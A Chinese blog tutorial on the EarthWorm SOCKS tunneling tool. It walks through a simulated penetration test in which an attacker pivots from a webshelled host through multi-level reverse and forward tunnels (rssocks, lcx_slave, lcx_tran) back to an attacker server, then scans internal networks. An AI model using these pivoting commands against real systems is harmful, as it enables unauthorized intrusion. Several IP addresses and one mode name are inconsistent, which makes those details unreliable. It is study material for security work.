[流量转发工具] EW

发布于 2021-08-22  81 次阅读


EW简介

EW介绍

EarthWorm是一款用于开启 SOCKS v5代理服务的工具,基于标准 C 开发,可提供多平台间的转接通讯,用于复杂网络环境下的数据转发。 专有主页: http://rootkiter.com/EarthWorm/

EW使用场景

 普通网络环境:
      1. 目标网络边界存在公网IP且可任意开监听端口:

                +---------+     +-------------------+  
                |HackTools| ->> | 8888-> 1.1.1.1   |
                +---------+     +-------------------+

              a)./ew -s ssocksd -l 8888
                      // 在 1.1.1.1 主机上通过这个命令开启 8888 端口的 socks 代理
              b) HackTools 可通过访问 1.1.1.1:8888 端口使用 1.1.1.1 主机提供的代理
                   
      2. 目标网络边界不存在公网 IP,需要通过反弹方式创建 socks 代理
           
                                      一台可控公网IP主机                 可控内网主机
                +---------+     +--------------------------+   |     +---------------+
                |HackTools| ->> | 1080 -> 1.1.1.1 -> 8888 | 防火墙 | <-- 2.2.2.2 |
                +---------+     +--------------------------+   |     +---------------+

              a) ./ew -s rcsocks -l 1080 -e 8888
                          // 在 1.1.1.1 的公网主机添加转接隧道,将 1080 收到的代理请求转交给反连 8888 端口的主机
              b) ./ew -s rssocks -d 1.1.1.1 -e 8888          
                          // 将目标网络的可控边界主机反向连接公网主机

              c) HackTools 可通过访问 1.1.1.1:1080 端口使用 rssocks 主机提供的 socks5 代理服务

  对于二重网络环境:        
      1. 获得目标网络内两台主机 A、B 的权限,情况描述如下:

              A 主机: 存在公网 IP,且自由监听任意端口,无法访问特定资源
              B 主机: 目标网络内部主机,可访问特定资源,但无法访问公网
              A 主机可直连 B 主机
               
                                      可控边界主机A             可访问指定资源的主机B
                +---------+     +-----------------------+     +-----------------+
                |HackTools| ->> | 1080 --> 2.2.2.2 --> | ->> | 9999 -> 2.2.2.3 |
                +---------+     +-----------------------+     +-----------------+

              a) ./ew -s ssocksd -l 9999
                      // 在 2.2.2.3 主机上利用 ssocksd 方式启动 9999 端口的 socks 代理
              b) ./ew -s lcx_tran -l 1080 -f 2.2.2.3 -g 9999
                      // 将 1080 端口收到的 socks 代理请求转交给 2.2.2.3 的主机。
              c) HackTools 可通过访问 2.2.2.2:1080 来使用 2.2.2.3 主机提供的 socks5 代理。
               
      2. 获得目标网络内两台主机 A、B 的权限,情况描述如下:

              A 主机: 目标网络的边界主机,无公网 IP,无法访问特定资源。
              B 主机: 目标网络内部主机,可访问特定资源,却无法回连公网。

              A 主机可直连 B 主机
                                    一台可控公网IP主机                   可控内网主机A         可访问指定资源的主机B
                +---------+     +--------------------------+   |   +-----------------+     +-----------------+
                |HackTools| ->> | 1080 -> 1.1.1.1 -> 8888 | 防火墙 | <-- 2.2.2.2 --> | ->> | 9999 -> 2.2.2.3 |
                +---------+     +--------------------------+   |   +-----------------+     +-----------------+

              a) ./ew -s lcx_listen -l 1080 -e 8888
                          // 在 1.1.1.1 公网主机添加转接隧道,将 1080 收到的代理请求
                          // 转交给反连 8888 端口的主机
              b) ./ew -s ssocksd -l 9999
                          // 在 2.2.2.3 主机上利用 ssocksd 方式启动 9999 端口的 socks 代理
              c) ./ew -s lcx_slave -d 1.1.1.1 -e 8888 -f 2.2.2.3 -g 9999
                          // 在 2.2.2.2 上,通过工具的 lcx_slave 方式,打通1.1.1.1:8888 和 2.2.2.3:9999 之间的通讯隧道
              d) HackTools 可通过访问 1.1.1.1:1080 来使用 2.2.2.3 主机提供的 socks5 代理

EW参数说明

  目前工具提供六种链路状态,可通过 -s 参数进行选定,分别为:

      ssocksd   rcsocks   rssocks  
      lcx_slave lcx_tran lcx_listen

      其中 SOCKS5 服务的核心逻辑支持由 ssocksd 和 rssocks 提供,分别对应正向与反向socks代理。

      其余的 lcx 链路状态用于打通测试主机同 socks 服务器之间的通路。
   
  lcx 类别管道:

      lcx_slave 该管道一侧通过反弹方式连接代理请求方,另一侧连接代理提供主机。
      lcx_tran   该管道,通过监听本地端口接收代理请求,并转交给代理提供主机。
      lcx_listen 该管道,通过监听本地端口接收数据,并将其转交给目标网络回连的代理提供主机。
   
      通过组合lcx类别管道的特性,可以实现多层内网环境下的渗透测试。

补充说明

  1. 为了减少网络资源的消耗,程序中添加了超时机制,默认时间为10000毫秒(10秒),用户可以通过追加 -t 参数来调整这个值,单位为毫秒。在多级级联功能中,超时机制将以隧道中最短的时间为默认值。
  2. 单纯从设计原理上讲,多级级联的三种状态可以转发任意以TCP为基础的通讯服务,包括远程桌面/web服务 等。
  3. 产品包中的 ew_for_Arm32 在开发者已有平台下(android手机、小米路由器、树莓派) 测试无误。 如果有其它异常环境请将对应详细细节反馈给作者,以便更新程序问题

模拟网络拓扑环境

机器编号IP地址机器性质描述
A1121.199.4.139公网攻击服务器一个具有公网IP且拥有绝对权限的Linux服务器
V110.10.1.111内网服务器对公网开放但无公网IP,80端口存在Web服务,路由课抵达10.10.1段
V210.10.2.111内网服务器不对公网开放,路由可抵达10.10.1和10.10.3段。
V310.10.3.111内网服务器不对公网开放,8080端口存在web应用,10.10.2段路由可达,10.10.1段路由不可达。

模拟前提描述

在一次渗透中,操作A1对V1上web应用进行渗透,获取了V1的webshell,并反弹shell到A1上。接下来打算做内网渗透,进一步发现内网资源。

模拟实际操作

场景一:把流量代理到V1后,进行内网信息收集

已知获取了V1的shell。在v1上下载ew,准备架设socks5,将流量代理到本地。

这里有两种方式可以选择:

正向代理:

假设目标及V1有公网IP(131.1.1.1),可以使用正向的方式代理代理流量。

在目标机V1上启动socks5服务并监听1080端口:

./ew -s ssocksd -l 1080

A1上使用proxychains代理配置:

vim /etc/proxychains.conf
[ProxyList]
socks5    139.1.1.1    1080

原理相当于把A1上的流量通过socks5,发送到V1的1080端口,再由V1对流量做处理,由此可以访问内网。

反向代理:

由于场景中目标机V1没有公网IP,但是能访问公网。因为V1没有具体地址,无法使用正向连接,可使用反向连接的方式代理流量。

首先,在攻击机A1本地启动流量转发,将来自外部1080端口的流量转发到本地8888端口,并等待目标反弹连接:

./ew -s rcsocks -l 1080 -e 8888

在目标机V1上启动socks5服务,并反弹到A1的8888端口

./ew -s rssocks -d 121.199.4.139 -e 8888

代理通道架设完毕,访问A1的1080相当于访问V1的8888端口,在攻击机A1上使用proxychain将流量代理到本地1080端口,相当于把流量代理到目标机V1上了,在A1上发起请求相当于在V1上发起请求

A1上proxychains代理配置

vi /etc/proxychains.conf
[ProxyList]
socks5   139.x.x.x   1080

接下来可以借助V1进一步发现内网各段的机器:

proxychains nmap -p xxxxx

场景二:把流量代理到V2,进行进一步信息收集

现已获得V2的shell,检查发现V2不通公网,无法反向代理公网流量,需要通过V1进行多级代理。接下来将流量代理到V2上进行进一步探测

正向代理:

假设目标及V1有公网IP(139.1.1.1),可以使用正向的方式代理流量。

在目标机v2上启动socks5代理并监听9999端口;

./ew -s ssocksd -l 9999

在V1上启动流量转发,将V1的1080端口与V2的9999端口绑定,建立socks5通道:

./ew -s lcx_tran -l 1080 -f 10.10.2.111 -g 9999

接着流量代理到139.1.1.1的1080端口,就相当于把流量代理到目标机V2上了

A1上proxychains代理配置:

[ProxyList]
socks5    139.1.1.1    1080

反向代理:

在攻击机A1本地启动流量转发,将来自外部1080端口的流量转发到本地8888端口,并等待目标反弹连接:

./ew -s lcx_listen -l 1080 -e 8888

传输ew到V2上,在V2启动socks5代理并监听9999端口:

./ew -s ssocksed -l 9999

最后在V1执行,将A1的8888端口与V2的9999端口帮点,建立socks5通道:

./ew -s lcx_slave -d 121.199.4.139 -e 8888 -f 10.10.2.111 -g 9999

A1上的proxychains代理配置:

[ProxyList]
socks5    127.0.0.1    1080

当完成上面的操作之后,访问A1的1080端口相当于访问V2的9999端口,在攻击机A1上使用proxychains将流量代理到本地1080端口,相当图把流量代理到目标机V2上了,在A1上发起请求相当于V2上发起请求。

场景三:假设已获得V3的shell,现将流量代理到V3。(三级级联)

正向代理:

在V1上启动流量转发,将V1的1080端口与V2的9999端口绑定,建立socks5通道:

./ew -s lcx_tran -l 1080 -f 10.10.2.111 -g 9999

在V2上启动流量转发,将V2的9999端口与V3的8888端口绑定,建立socks5通道

./ew -s lcx_tran -l 9999 -f 10.10.3.111 -g 8888

在目标机V3上启动socks5代理并监听8888端口:

./ew -s ssocksd -l 8888

A1上的proxychains代理配置:

[ProxyList]
socks5    139.1.1.1    1080

反向代理:

在攻击机A1执行,bending启动流量转发,将来自外部1080的流量转发到本地的8888端口,并等待目标反弹连接:

./ew -s rcsocks -l 1080 -e 8888

在V1执行,将A1的8888端口与V2的9999端口绑定,建立socks5通道:

./ew -s lcx_slave -d 120.x.x.x -e 8888 -f 10.10.2.111 -g 9999

在V2执行,本地启动流量转发,将来自外部9999端口的流量转发到本地的7777端口,等待目标机V3反弹连接:

./ew -s lcx_listen -l 9999 -e 7777

在目标机V3执行,启动socks5服务,并反弹到V2的7777端口:

./ew -s rssocks -d 10.10.2.111 -e 7777

A1上proxychains代理配置:

[ProxyList]
socks5   127.0.0.1   1080

场景四:三级级联下的端口转发操作

ew同样支持内网端口转发,现将内网目标机V3上的web应用端口代理到外网。

正向代理:

在V1上启动流量转发,将V1的1080端口与V2的9999端口绑定,建立socks5通道:

./ew -s lcx_tran -l 1080 -f 10.10.2.111 -g 9999

在V2上启动流量转发,将V2的9999端口与V3的8080端口绑定,建立socks5通道:

./ew -s lcx_tran -l 9999 -f 10.10.3.111 -g 8080

代理通道架设完毕,访问V1的1080相当于访问V3的8080端口。 A1浏览器上访问http://139.1.1.1:1080,即访问V3上的内网web应用。

反向代理:

在A1执行,本地启动流量转发,将来自外部1080端口的流量转发到本地的8888端口,并等待目标反弹连接:

./ew -s lcx_listen -l 1080 -e 8888

在V1执行,将A1的8888端口与V2的9999端口绑定,建立socks5通道:

./ew -s lcx_slave -d 120.x.x.x -e 8888 -f 10.10.2.111 -g 9999

在V2执行,启动流量转发,将V2的9999端口与V3的8080端口绑定,建立socks5通道:

./ew -s lcx_tran -l 9999 -f 10.3.10.111 -g 8080

代理通道架设完毕,访问A1的1080相当于访问V3的8080端口。 A1浏览器上访问http://127.0.0.1:1080,即访问V3上的内网web应用。

总结反思

感觉代理的建立,就是使用工具,将端口绑定在一起,核心是要弄清楚流量的走向。在构建隧道的时候,要注意端口的对应关系,有层次的做处理。

参考连接

https://www.cnblogs.com/bonelee/p/12511087.html

https://github.com/idlefire/ew